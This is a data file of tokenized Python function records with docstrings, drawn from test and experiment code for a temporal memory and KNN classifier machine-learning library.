{"signature": "def hubCapacity():", "body": "from multiprocessing import Pool<EOL>import itertools<EOL>print(\"<STR_LIT>\")<EOL>p = Pool(<NUM_LIT:2>)<EOL>results = p.map(worker, itertools.product([<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>,<NUM_LIT:4>,<NUM_LIT:5>,<NUM_LIT:6>,<NUM_LIT:7>,<NUM_LIT:8>], range(<NUM_LIT:1>,<NUM_LIT>,<NUM_LIT:200>)))<EOL>f = open('<STR_LIT>', '<STR_LIT:w>')<EOL>for i,r in enumerate(results):<EOL><INDENT>print('<STR_LIT>' % r, file=f)<EOL><DEDENT>f.close()<EOL>", "docstring": "Study hub capacity. Figure out how many sequences can share a pattern\nfor a given number of cells per column till we the system fails.\nDON'T RUN IN BUILD SYSTEM!!! (takes too long)", "id": "f17345:m25"}
{"signature": "def printOneTrainingVector(x):", "body": "print('<STR_LIT>'.join('<STR_LIT:1>' if k != <NUM_LIT:0> else '<STR_LIT:.>' for k in x))<EOL>", "docstring": "Print a single vector succinctly.", "id": "f17347:m0"}
{"signature": "def getSimplePatterns(numOnes, numPatterns, patternOverlap=<NUM_LIT:0>):", "body": "assert (patternOverlap < numOnes)<EOL>numNewBitsInEachPattern = numOnes - patternOverlap<EOL>numCols = numNewBitsInEachPattern * numPatterns + patternOverlap<EOL>p = []<EOL>for i in range(numPatterns):<EOL><INDENT>x = numpy.zeros(numCols, dtype='<STR_LIT>')<EOL>startBit = i*numNewBitsInEachPattern<EOL>nextStartBit = startBit + numOnes<EOL>x[startBit:nextStartBit] = <NUM_LIT:1><EOL>p.append(x)<EOL><DEDENT>return p<EOL>", "docstring": "Very simple patterns. Each pattern has numOnes consecutive\n    bits on. The amount of overlap between consecutive patterns is\n    configurable, via the patternOverlap parameter.\n\n    Parameters:\n    -----------------------------------------------------------------------\n    numOnes:        Number of bits ON in each pattern\n    numPatterns:    Number of unique patterns to generate\n    patternOverlap: Number of bits of overlap between each successive pattern\n    retval:         patterns", "id": "f17347:m2"}
{"signature": "def buildOverlappedSequences( numSequences = <NUM_LIT:2>,<EOL>seqLen = <NUM_LIT:5>,<EOL>sharedElements = [<NUM_LIT:3>,<NUM_LIT:4>],<EOL>numOnBitsPerPattern = <NUM_LIT:3>,<EOL>patternOverlap = <NUM_LIT:0>,<EOL>seqOverlap = <NUM_LIT:0>,<EOL>**kwargs<EOL>):", "body": "<EOL>numSharedElements = len(sharedElements)<EOL>numUniqueElements = seqLen - numSharedElements<EOL>numPatterns = numSharedElements + numUniqueElements * numSequences<EOL>patterns = getSimplePatterns(numOnBitsPerPattern, numPatterns, patternOverlap)<EOL>numCols = len(patterns[<NUM_LIT:0>])<EOL>trainingSequences = []<EOL>uniquePatternIndices = list(range(numSharedElements, numPatterns))<EOL>for i in range(numSequences):<EOL><INDENT>sequence = []<EOL>sharedPatternIndices = list(range(numSharedElements))<EOL>for j in range(seqLen):<EOL><INDENT>if j in sharedElements:<EOL><INDENT>patIdx = sharedPatternIndices.pop(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>patIdx = uniquePatternIndices.pop(<NUM_LIT:0>)<EOL><DEDENT>sequence.append(patterns[patIdx])<EOL><DEDENT>trainingSequences.append(sequence)<EOL><DEDENT>if VERBOSITY >= <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>printAllTrainingSequences(trainingSequences)<EOL><DEDENT>return (numCols, trainingSequences)<EOL>", "docstring": "Create training sequences that share some elements in the middle.\n\n    Parameters:\n    -----------------------------------------------------\n    numSequences:         Number of unique training sequences to generate\n    seqLen:               Overall length of each sequence\n    sharedElements:       Which element indices of each sequence are shared. These\n                            will be in the range between 0 and seqLen-1\n    numOnBitsPerPattern:  Number of ON bits in each TM input pattern\n    patternOverlap:       Max number of bits of overlap between any 2 patterns\n    retval:               (numCols, trainingSequences)\n                            numCols - width of the patterns\n                            trainingSequences - a list of training sequences", "id": "f17347:m3"}
{"signature": "def buildSequencePool(numSequences = <NUM_LIT:10>,<EOL>seqLen = [<NUM_LIT:2>,<NUM_LIT:3>,<NUM_LIT:4>],<EOL>numPatterns = <NUM_LIT:5>,<EOL>numOnBitsPerPattern = <NUM_LIT:3>,<EOL>patternOverlap = <NUM_LIT:0>,<EOL>**kwargs<EOL>):", "body": "<EOL>patterns = getSimplePatterns(numOnBitsPerPattern, numPatterns, patternOverlap)<EOL>numCols = len(patterns[<NUM_LIT:0>])<EOL>trainingSequences = []<EOL>for i in range(numSequences):<EOL><INDENT>sequence = []<EOL>length = random.choice(seqLen)<EOL>for j in range(length):<EOL><INDENT>patIdx = random.choice(range(numPatterns))<EOL>sequence.append(patterns[patIdx])<EOL><DEDENT>trainingSequences.append(sequence)<EOL><DEDENT>if VERBOSITY >= <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>printAllTrainingSequences(trainingSequences)<EOL><DEDENT>return (numCols, trainingSequences)<EOL>", "docstring": "Create a bunch of sequences of various lengths, all built from\n    a fixed set of patterns.\n\n    Parameters:\n    -----------------------------------------------------\n    numSequences:         Number of training sequences to generate\n    seqLen:               List of possible sequence lengths\n    numPatterns:          How many possible patterns there are to use within\n                            sequences\n    numOnBitsPerPattern:  Number of ON bits in each TM input pattern\n    patternOverlap:       Max number of bits of overlap between any 2 patterns\n    retval:               (numCols, trainingSequences)\n                            numCols - width of the patterns\n                            trainingSequences - a list of training sequences", "id": "f17347:m4"}
{"signature": "def createTMs(includeCPP = True,<EOL>includePy = True,<EOL>numCols = <NUM_LIT:100>,<EOL>cellsPerCol = <NUM_LIT:4>,<EOL>activationThreshold = <NUM_LIT:3>,<EOL>minThreshold = <NUM_LIT:3>,<EOL>newSynapseCount = <NUM_LIT:3>,<EOL>initialPerm = <NUM_LIT>,<EOL>permanenceInc = <NUM_LIT:0.1>,<EOL>permanenceDec = <NUM_LIT:0.0>,<EOL>globalDecay = <NUM_LIT:0.0>,<EOL>pamLength = <NUM_LIT:0>,<EOL>checkSynapseConsistency = True,<EOL>maxInfBacktrack = <NUM_LIT:0>,<EOL>maxLrnBacktrack = <NUM_LIT:0>,<EOL>**kwargs<EOL>):", "body": "<EOL>connectedPerm = <NUM_LIT:0.5><EOL>tms = dict()<EOL>if includeCPP:<EOL><INDENT>if VERBOSITY >= <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>cpp_tm = BacktrackingTMCPP(numberOfCols = numCols, cellsPerColumn = cellsPerCol,<EOL>initialPerm = initialPerm, connectedPerm = connectedPerm,<EOL>minThreshold = minThreshold, newSynapseCount = newSynapseCount,<EOL>permanenceInc = permanenceInc, permanenceDec = permanenceDec,<EOL>activationThreshold = activationThreshold,<EOL>globalDecay = globalDecay, burnIn = <NUM_LIT:1>,<EOL>seed=SEED, verbosity=VERBOSITY,<EOL>checkSynapseConsistency = checkSynapseConsistency,<EOL>collectStats = True,<EOL>pamLength = pamLength,<EOL>maxInfBacktrack = maxInfBacktrack,<EOL>maxLrnBacktrack = maxLrnBacktrack,<EOL>)<EOL>cpp_tm.retrieveLearningStates = True<EOL>tms['<STR_LIT>'] = cpp_tm<EOL><DEDENT>if includePy:<EOL><INDENT>if VERBOSITY >= <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>py_tm = BacktrackingTM(numberOfCols = numCols, cellsPerColumn = cellsPerCol,<EOL>initialPerm = initialPerm, connectedPerm = connectedPerm,<EOL>minThreshold = minThreshold, newSynapseCount = newSynapseCount,<EOL>permanenceInc = permanenceInc, permanenceDec = permanenceDec,<EOL>activationThreshold = activationThreshold,<EOL>globalDecay = globalDecay, burnIn = <NUM_LIT:1>,<EOL>seed=SEED, verbosity=VERBOSITY,<EOL>collectStats = True,<EOL>pamLength = pamLength,<EOL>maxInfBacktrack = maxInfBacktrack,<EOL>maxLrnBacktrack = maxLrnBacktrack,<EOL>)<EOL>tms['<STR_LIT>'] = py_tm<EOL><DEDENT>return tms<EOL>", "docstring": "Create one or more TM instances, placing each into a dict keyed by\n    name.\n\n    Parameters:\n    ------------------------------------------------------------------\n    retval:   tms - dict of TM instances", "id": "f17347:m5"}
{"signature": "def assertNoTMDiffs(tms):", "body": "if len(tms) == <NUM_LIT:1>:<EOL><INDENT>return<EOL><DEDENT>if len(tms) > <NUM_LIT:2>:<EOL><INDENT>raise \"<STR_LIT>\"<EOL><DEDENT>same = fdrutils.tmDiff2(*list(tms.values()), verbosity=VERBOSITY)<EOL>assert(same)<EOL>return<EOL>", "docstring": "Check for diffs among the TM instances in the passed in tms dict and\nraise an assert if any are detected\n\nParameters:\n---------------------------------------------------------------------\ntms:                  dict of TM instances", "id": "f17347:m6"}
{"signature": "def _getSimplePatterns(numOnes, numPatterns):", "body": "numCols = numOnes * numPatterns<EOL>p = []<EOL>for i in range(numPatterns):<EOL><INDENT>x = numpy.zeros(numCols, dtype='<STR_LIT>')<EOL>x[i*numOnes:(i+<NUM_LIT:1>)*numOnes] = <NUM_LIT:1><EOL>p.append(x)<EOL><DEDENT>return p<EOL>", "docstring": "Very simple patterns. Each pattern has numOnes consecutive\n    bits on. There are numPatterns*numOnes bits in the vector.", "id": "f17350:m0"}
{"signature": "def _buildLikelihoodTrainingSet(numOnes=<NUM_LIT:5>, relativeFrequencies=None):", "body": "numPatterns = <NUM_LIT:7><EOL>p = _getSimplePatterns(numOnes, numPatterns)<EOL>s1 = [p[<NUM_LIT:0>], p[<NUM_LIT:1>], p[<NUM_LIT:2>], p[<NUM_LIT:3>], p[<NUM_LIT:4>]]<EOL>s2 = [p[<NUM_LIT:0>], p[<NUM_LIT:1>], p[<NUM_LIT:2>], p[<NUM_LIT:3>], p[<NUM_LIT:5>]]<EOL>s3 = [p[<NUM_LIT:0>], p[<NUM_LIT:1>], p[<NUM_LIT:2>], p[<NUM_LIT:3>], p[<NUM_LIT:6>]]<EOL>trainingSequences = [s1, s2, s3]<EOL>allPatterns = p<EOL>return (trainingSequences, relativeFrequencies, allPatterns)<EOL>", "docstring": "Two very simple high order sequences for debugging. Each pattern in the\n    sequence has a series of 1's in a specific set of columns.", "id": "f17350:m1"}
{"signature": "def _createTMs(numCols, cellsPerColumn=<NUM_LIT:4>, checkSynapseConsistency=True):", "body": "<EOL>minThreshold = <NUM_LIT:4><EOL>activationThreshold = <NUM_LIT:4><EOL>newSynapseCount = <NUM_LIT:5><EOL>initialPerm = <NUM_LIT><EOL>connectedPerm = <NUM_LIT:0.5><EOL>permanenceInc = <NUM_LIT:0.1><EOL>permanenceDec = <NUM_LIT><EOL>globalDecay = <NUM_LIT:0.0><EOL>if VERBOSITY > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>cppTm = BacktrackingTMCPP(numberOfCols=numCols, cellsPerColumn=cellsPerColumn,<EOL>initialPerm=initialPerm, connectedPerm=connectedPerm,<EOL>minThreshold=minThreshold, newSynapseCount=newSynapseCount,<EOL>permanenceInc=permanenceInc, permanenceDec=permanenceDec,<EOL>activationThreshold=activationThreshold,<EOL>globalDecay=globalDecay, burnIn=<NUM_LIT:1>,<EOL>seed=SEED, verbosity=VERBOSITY,<EOL>checkSynapseConsistency=checkSynapseConsistency,<EOL>pamLength=<NUM_LIT:1000>)<EOL>if VERBOSITY > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>pyTm = BacktrackingTM(numberOfCols=numCols, cellsPerColumn=cellsPerColumn,<EOL>initialPerm=initialPerm, connectedPerm=connectedPerm,<EOL>minThreshold=minThreshold, newSynapseCount=newSynapseCount,<EOL>permanenceInc=permanenceInc, permanenceDec=permanenceDec,<EOL>activationThreshold=activationThreshold,<EOL>globalDecay=globalDecay, burnIn=<NUM_LIT:1>,<EOL>seed=SEED, verbosity=VERBOSITY,<EOL>pamLength=<NUM_LIT:1000>)<EOL>return cppTm, pyTm<EOL>", "docstring": "Create TM and BacktrackingTMCPP instances with identical parameters.", "id": "f17350:m2"}
{"signature": "def _computeTMMetric(tm=None, sequences=None, useResets=True, verbosity=<NUM_LIT:1>):", "body": "datasetScore = <NUM_LIT:0><EOL>numPredictions = <NUM_LIT:0><EOL>tm.resetStats()<EOL>for seqIdx, seq in enumerate(sequences):<EOL><INDENT>if useResets:<EOL><INDENT>tm.reset()<EOL><DEDENT>seq = numpy.array(seq, dtype='<STR_LIT>')<EOL>if verbosity > <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>for i, inputPattern in enumerate(seq):<EOL><INDENT>if verbosity > <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\" % (seqIdx, i), end='<STR_LIT:U+0020>')<EOL>print(\"<STR_LIT>\", inputPattern)<EOL><DEDENT>y = tm.infer(inputPattern)<EOL>if verbosity > <NUM_LIT:2>:<EOL><INDENT>stats = tm.getStats()<EOL>if stats['<STR_LIT>'] > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\", stats['<STR_LIT>'])<EOL><DEDENT><DEDENT>if verbosity > <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>predOut = numpy.sum(tm.predictedState['<STR_LIT:t>'], axis=<NUM_LIT:1>)<EOL>actOut  = numpy.sum(tm.activeState['<STR_LIT:t>'], axis=<NUM_LIT:1>)<EOL>outout  = numpy.sum(y.reshape(tm.activeState['<STR_LIT:t>'].shape), axis=<NUM_LIT:1>)<EOL>print(\"<STR_LIT>\", predOut.nonzero())<EOL>print(\"<STR_LIT>\", actOut.nonzero())<EOL>print(\"<STR_LIT>\", inputPattern.nonzero())<EOL>print(\"<STR_LIT>\", outout.nonzero())<EOL><DEDENT><DEDENT><DEDENT>stats = tm.getStats()<EOL>datasetScore = stats['<STR_LIT>']<EOL>numPredictions = stats['<STR_LIT>']<EOL>print(\"<STR_LIT>\", datasetScore, end='<STR_LIT:U+0020>')<EOL>print(\"<STR_LIT>\", numPredictions)<EOL>return datasetScore, numPredictions<EOL>", "docstring": "Given a trained TM and a list of sequences, compute the temporal memory\n    performance metric on those sequences.\n\n    Parameters:\n    ===========\n    tm:               A trained temporal memory.\n    sequences:        A list of sequences. Each sequence is a list of numpy\n                      vectors.\n    useResets:        If True, the TM's reset method will be called before the\n                      the start of each new sequence.\n    verbosity:        An integer controlling the level of printouts. The higher\n                      the number the more debug printouts.\n\n    Return value:\n    ============\n    The following pair is returned:  (score, numPredictions)\n\n    score:            The average prediction score per pattern.\n    numPredictions:   The total number of predictions that were made.", "id": "f17350:m3"}
{"signature": "def _createDataset(numSequences, originalSequences, relativeFrequencies):", "body": "dataSet = []<EOL>trainingCummulativeFrequencies = numpy.cumsum(relativeFrequencies)<EOL>for _ in range(numSequences):<EOL><INDENT>whichSequence = numpy.searchsorted(trainingCummulativeFrequencies,<EOL>_RGEN.random_sample())<EOL>dataSet.append(originalSequences[whichSequence])<EOL><DEDENT>return dataSet<EOL>", "docstring": "Given a set of sequences, create a dataset consisting of numSequences\n    sequences. The i'th pattern in this dataset is chosen from originalSequences\n    according to the relative frequencies specified in relativeFrequencies.", "id": "f17350:m4"}
{"signature": "def _printOneTrainingVector(self, x):", "body": "print('<STR_LIT>'.join('<STR_LIT:1>' if k != <NUM_LIT:0> else '<STR_LIT:.>' for k in x))<EOL>", "docstring": "Print a single vector succinctly.", "id": "f17351:c0:m1"}
{"signature": "def _printAllTrainingSequences(self, trainingSequences):", "body": "for i, trainingSequence in enumerate(trainingSequences):<EOL><INDENT>print(\"<STR_LIT>\", i, \"<STR_LIT>\")<EOL>for pattern in trainingSequence:<EOL><INDENT>self._printOneTrainingVector(pattern)<EOL><DEDENT><DEDENT>", "docstring": "Print all vectors", "id": "f17351:c0:m2"}
{"signature": "def _setVerbosity(self, verbosity, tm, tmPy):", "body": "tm.cells4.setVerbosity(verbosity)<EOL>tm.verbosity = verbosity<EOL>tmPy.verbosity = verbosity<EOL>", "docstring": "Set verbosity level on the TM", "id": "f17351:c0:m3"}
{"signature": "def _createTMs(self, numCols, fixedResources=False,<EOL>checkSynapseConsistency = True):", "body": "<EOL>minThreshold = <NUM_LIT:4><EOL>activationThreshold = <NUM_LIT:8><EOL>newSynapseCount = <NUM_LIT:15><EOL>initialPerm = <NUM_LIT><EOL>connectedPerm = <NUM_LIT:0.5><EOL>permanenceInc = <NUM_LIT:0.1><EOL>permanenceDec = <NUM_LIT><EOL>if fixedResources:<EOL><INDENT>permanenceDec = <NUM_LIT:0.1><EOL>maxSegmentsPerCell = <NUM_LIT:5><EOL>maxSynapsesPerSegment = <NUM_LIT:15><EOL>globalDecay = <NUM_LIT:0><EOL>maxAge = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>permanenceDec = <NUM_LIT><EOL>maxSegmentsPerCell = -<NUM_LIT:1><EOL>maxSynapsesPerSegment = -<NUM_LIT:1><EOL>globalDecay = <NUM_LIT><EOL>maxAge = <NUM_LIT:1><EOL><DEDENT>if g_testCPPTM:<EOL><INDENT>if g_options.verbosity > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>cppTM = BacktrackingTMCPP(numberOfCols = numCols, cellsPerColumn = <NUM_LIT:4>,<EOL>initialPerm = initialPerm, connectedPerm = connectedPerm,<EOL>minThreshold = minThreshold,<EOL>newSynapseCount = newSynapseCount,<EOL>permanenceInc = permanenceInc,<EOL>permanenceDec = permanenceDec,<EOL>activationThreshold = activationThreshold,<EOL>globalDecay = globalDecay, maxAge=maxAge, burnIn = <NUM_LIT:1>,<EOL>seed=g_options.seed, verbosity=g_options.verbosity,<EOL>checkSynapseConsistency = checkSynapseConsistency,<EOL>pamLength = <NUM_LIT:1000>,<EOL>maxSegmentsPerCell = maxSegmentsPerCell,<EOL>maxSynapsesPerSegment = maxSynapsesPerSegment,<EOL>)<EOL>cppTM.retrieveLearningStates = True<EOL><DEDENT>else:<EOL><INDENT>cppTM = None<EOL><DEDENT>if g_options.verbosity > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>pyTM = BacktrackingTM(numberOfCols = numCols, cellsPerColumn = <NUM_LIT:4>,<EOL>initialPerm = initialPerm,<EOL>connectedPerm = connectedPerm,<EOL>minThreshold = minThreshold,<EOL>newSynapseCount = newSynapseCount,<EOL>permanenceInc = permanenceInc,<EOL>permanenceDec = permanenceDec,<EOL>activationThreshold = activationThreshold,<EOL>globalDecay = globalDecay, maxAge=maxAge, burnIn = <NUM_LIT:1>,<EOL>seed=g_options.seed, verbosity=g_options.verbosity,<EOL>pamLength = <NUM_LIT:1000>,<EOL>maxSegmentsPerCell = maxSegmentsPerCell,<EOL>maxSynapsesPerSegment = maxSynapsesPerSegment,<EOL>)<EOL>return cppTM, pyTM<EOL>", "docstring": "Create an instance of the appropriate temporal memory. We isolate\n        all parameters as constants specified here.", "id": "f17351:c0:m4"}
{"signature": "def _getSimplePatterns(self, numOnes, numPatterns):", "body": "numCols = numOnes * numPatterns<EOL>p = []<EOL>for i in range(numPatterns):<EOL><INDENT>x = numpy.zeros(numCols, dtype='<STR_LIT>')<EOL>x[i*numOnes:(i+<NUM_LIT:1>)*numOnes] = <NUM_LIT:1><EOL>p.append(x)<EOL><DEDENT>return p<EOL>", "docstring": "Very simple patterns. Each pattern has numOnes consecutive\n        bits on. There are numPatterns*numOnes bits in the vector. These patterns\n        are used as elements of sequences when building up a training set.", "id": "f17351:c0:m5"}
{"signature": "def _buildSegmentLearningTrainingSet(self, numOnes=<NUM_LIT:10>, numRepetitions= <NUM_LIT:10>):", "body": "numPatterns = <NUM_LIT:5><EOL>numCols = <NUM_LIT:2> * numPatterns * numOnes<EOL>halfCols = numPatterns * numOnes<EOL>numNoiseBits = numOnes<EOL>p = self._getSimplePatterns(numOnes, numPatterns)<EOL>trainingSequences = []<EOL>for i in range(numRepetitions):<EOL><INDENT>sequence = []<EOL>for j in range(numPatterns):<EOL><INDENT>v = numpy.zeros(numCols)<EOL>v[<NUM_LIT:0>:halfCols] = p[j]<EOL>noiseIndices = (self._rgen.permutation(halfCols)<EOL>+ halfCols)[<NUM_LIT:0>:numNoiseBits]<EOL>v[noiseIndices] = <NUM_LIT:1><EOL>sequence.append(v)<EOL><DEDENT>trainingSequences.append(sequence)<EOL><DEDENT>testSequence = []<EOL>for j in range(numPatterns):<EOL><INDENT>v = numpy.zeros(numCols, dtype='<STR_LIT>')<EOL>v[<NUM_LIT:0>:halfCols] = p[j]<EOL>testSequence.append(v)<EOL><DEDENT>if g_options.verbosity > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>self.printAllTrainingSequences(trainingSequences)<EOL>print(\"<STR_LIT>\")<EOL>self.printAllTrainingSequences([testSequence])<EOL><DEDENT>return (trainingSequences, [testSequence])<EOL>", "docstring": "A simple sequence of 5 patterns. The left half of the vector contains\n        the pattern elements, each with numOnes consecutive bits. The right half\n        contains numOnes random bits. The function returns a pair:\n\n        trainingSequences:    A list containing numRepetitions instances of the\n                              above sequence\n        testSequence:         A single clean test sequence containing the 5 patterns\n                              but with no noise on the right half", "id": "f17351:c0:m6"}
{"signature": "def _buildSL2TrainingSet(self, numOnes=<NUM_LIT:10>, numRepetitions= <NUM_LIT:10>):", "body": "numPatterns = <NUM_LIT:5><EOL>numCols = <NUM_LIT:2> * numPatterns * numOnes<EOL>halfCols = numPatterns * numOnes<EOL>numNoiseBits = numOnes<EOL>p = self._getSimplePatterns(numOnes, numPatterns)<EOL>numSequences = <NUM_LIT:3><EOL>indices = [<EOL>[<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3>, <NUM_LIT:4>],<EOL>[<NUM_LIT:4>, <NUM_LIT:3>, <NUM_LIT:2>, <NUM_LIT:1>, <NUM_LIT:0>],<EOL>[<NUM_LIT:2>, <NUM_LIT:0>, <NUM_LIT:4>, <NUM_LIT:1>, <NUM_LIT:3>],<EOL>]<EOL>trainingSequences = []<EOL>for i in range(numRepetitions*numSequences):<EOL><INDENT>sequence = []<EOL>for j in range(numPatterns):<EOL><INDENT>v = numpy.zeros(numCols, dtype='<STR_LIT>')<EOL>v[<NUM_LIT:0>:halfCols] = p[indices[i % numSequences][j]]<EOL>noiseIndices = (self._rgen.permutation(halfCols)<EOL>+ halfCols)[<NUM_LIT:0>:numNoiseBits]<EOL>v[noiseIndices] = <NUM_LIT:1><EOL>sequence.append(v)<EOL><DEDENT>trainingSequences.append(sequence)<EOL><DEDENT>testSequences = []<EOL>for i in range(numSequences):<EOL><INDENT>sequence = []<EOL>for j in range(numPatterns):<EOL><INDENT>v = numpy.zeros(numCols, dtype='<STR_LIT>')<EOL>v[<NUM_LIT:0>:halfCols] = p[indices[i % numSequences][j]]<EOL>sequence.append(v)<EOL><DEDENT>testSequences.append(sequence)<EOL><DEDENT>if g_options.verbosity > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>self.printAllTrainingSequences(trainingSequences)<EOL>print(\"<STR_LIT>\")<EOL>self.printAllTrainingSequences(testSequences)<EOL><DEDENT>return (trainingSequences, testSequences)<EOL>", "docstring": "Three simple sequences, composed of the same 5 static patterns. The left\n        half of the vector contains the pattern elements, each with numOnes\n        consecutive bits. The right half contains numOnes random bits.\n\n        Sequence 1 is: p0, p1, p2, p3, p4\n        Sequence 2 is: p4, p3, p2, p1, p0\n        Sequence 3 is: p2, p0, p4, p1, p3\n\n        The function returns a pair:\n\n        trainingSequences:    A list containing numRepetitions instances of the\n                              above sequences\n        testSequence:         Clean test sequences with no noise on the right half", "id": "f17351:c0:m7"}
{"signature": "def simulateCategories(numSamples=<NUM_LIT:100>, numDimensions=<NUM_LIT>):", "body": "failures = \"<STR_LIT>\"<EOL>LOGGER.info(\"<STR_LIT>\")<EOL>knn = KNNClassifier(k=<NUM_LIT:1>, distanceNorm=<NUM_LIT:1.0>, useSparseMemory=True)<EOL>for i in range(<NUM_LIT:0>, numSamples):<EOL><INDENT>c = <NUM_LIT:2>*numpy.random.randint(<NUM_LIT:0>, <NUM_LIT:50>) + <NUM_LIT:50><EOL>v = createPattern(c, numDimensions)<EOL>knn.learn(v, c)<EOL><DEDENT>for i in range(<NUM_LIT:0>, <NUM_LIT:50>):<EOL><INDENT>c = <NUM_LIT:2>*i+<NUM_LIT:50><EOL>v = createPattern(c, numDimensions)<EOL>knn.learn(v, c)<EOL><DEDENT>errors = <NUM_LIT:0><EOL>for i in range(<NUM_LIT:0>, numSamples):<EOL><INDENT>c = <NUM_LIT:2>*numpy.random.randint(<NUM_LIT:0>, <NUM_LIT:50>) + <NUM_LIT:50><EOL>v = createPattern(c, numDimensions)<EOL>inferCat, _kir, _kd, _kcd = knn.infer(v)<EOL>if inferCat != c:<EOL><INDENT>LOGGER.info(\"<STR_LIT>\", v[v.nonzero()],\"<STR_LIT>\", inferCat, \"<STR_LIT>\", c)<EOL>LOGGER.info(\"<STR_LIT>\", v.nonzero())<EOL>errors += <NUM_LIT:1><EOL><DEDENT><DEDENT>if errors != <NUM_LIT:0>:<EOL><INDENT>failures += \"<STR_LIT>\"<EOL><DEDENT>errors = <NUM_LIT:0><EOL>for i in range(<NUM_LIT:0>, <NUM_LIT:10>):<EOL><INDENT>c = <NUM_LIT:2>*numpy.random.randint(<NUM_LIT:0>, <NUM_LIT:50>) + <NUM_LIT:50><EOL>v = createPattern(c, numDimensions)<EOL>p = knn.closestTrainingPattern(v, c)<EOL>if not (c in p.nonzero()[<NUM_LIT:0>]):<EOL><INDENT>LOGGER.info(\"<STR_LIT>\", p.nonzero(), v.nonzero())<EOL>LOGGER.info(\"<STR_LIT>\", p[p.nonzero()], v[v.nonzero()])<EOL>errors += <NUM_LIT:1><EOL><DEDENT><DEDENT>if errors != <NUM_LIT:0>:<EOL><INDENT>failures += \"<STR_LIT>\"<EOL><DEDENT>return failures, knn<EOL>", "docstring": "Simulate running KNN classifier on many disjoint categories", "id": "f17353:m0"}
{"signature": "def createPattern(c, numDimensions):", "body": "v = numpy.zeros(numDimensions)<EOL>v[c] = <NUM_LIT:5>*numpy.random.random() + <NUM_LIT:10><EOL>v[c+<NUM_LIT:1>] = numpy.random.random()<EOL>if c > <NUM_LIT:0>:<EOL><INDENT>v[c-<NUM_LIT:1>] = numpy.random.random()<EOL><DEDENT>return v<EOL>", "docstring": "Create a sparse pattern from category c with the given number of dimensions.\nThe pattern is created by setting element c to be a high random number.\nElement c-1 and c+1 are set to low random numbers. numDimensions must be > c.", "id": "f17353:m1"}
{"signature": "def simulateKMoreThanOne():", "body": "failures = \"<STR_LIT>\"<EOL>LOGGER.info(\"<STR_LIT>\")<EOL>knn = KNNClassifier(k=<NUM_LIT:3>)<EOL>v = numpy.zeros((<NUM_LIT:6>, <NUM_LIT:2>))<EOL>v[<NUM_LIT:0>] = [<NUM_LIT:1.0>, <NUM_LIT:0.0>]<EOL>v[<NUM_LIT:1>] = [<NUM_LIT:1.0>, <NUM_LIT>]<EOL>v[<NUM_LIT:2>] = [<NUM_LIT:1.0>, <NUM_LIT>]<EOL>v[<NUM_LIT:3>] = [<NUM_LIT:1.0>, <NUM_LIT>]<EOL>v[<NUM_LIT:4>] = [<NUM_LIT:1.0>, <NUM_LIT>]<EOL>v[<NUM_LIT:5>] = [<NUM_LIT:1.0>, <NUM_LIT>]<EOL>knn.learn(v[<NUM_LIT:0>], <NUM_LIT:0>)<EOL>knn.learn(v[<NUM_LIT:1>], <NUM_LIT:0>)<EOL>knn.learn(v[<NUM_LIT:2>], <NUM_LIT:0>)<EOL>knn.learn(v[<NUM_LIT:3>], <NUM_LIT:1>)<EOL>knn.learn(v[<NUM_LIT:4>], <NUM_LIT:1>)<EOL>knn.learn(v[<NUM_LIT:5>], <NUM_LIT:1>)<EOL>winner, _inferenceResult, _dist, _categoryDist = knn.infer(v[<NUM_LIT:0>])<EOL>if winner != <NUM_LIT:0>:<EOL><INDENT>failures += \"<STR_LIT>\"<EOL><DEDENT>winner, _inferenceResult, _dist, _categoryDist = knn.infer(v[<NUM_LIT:2>])<EOL>if winner != <NUM_LIT:0>:<EOL><INDENT>failures += \"<STR_LIT>\"<EOL><DEDENT>winner, _inferenceResult, _dist, _categoryDist = knn.infer(v[<NUM_LIT:3>])<EOL>if winner != <NUM_LIT:0>:<EOL><INDENT>failures += \"<STR_LIT>\"<EOL><DEDENT>winner, _inferenceResult, _dist, _categoryDist = knn.infer(v[<NUM_LIT:5>])<EOL>if winner != <NUM_LIT:1>:<EOL><INDENT>failures += \"<STR_LIT>\"<EOL><DEDENT>if len(failures) == <NUM_LIT:0>:<EOL><INDENT>LOGGER.info(\"<STR_LIT>\")<EOL><DEDENT>return failures<EOL>", "docstring": "A small test with k=3", "id": "f17354:m0"}
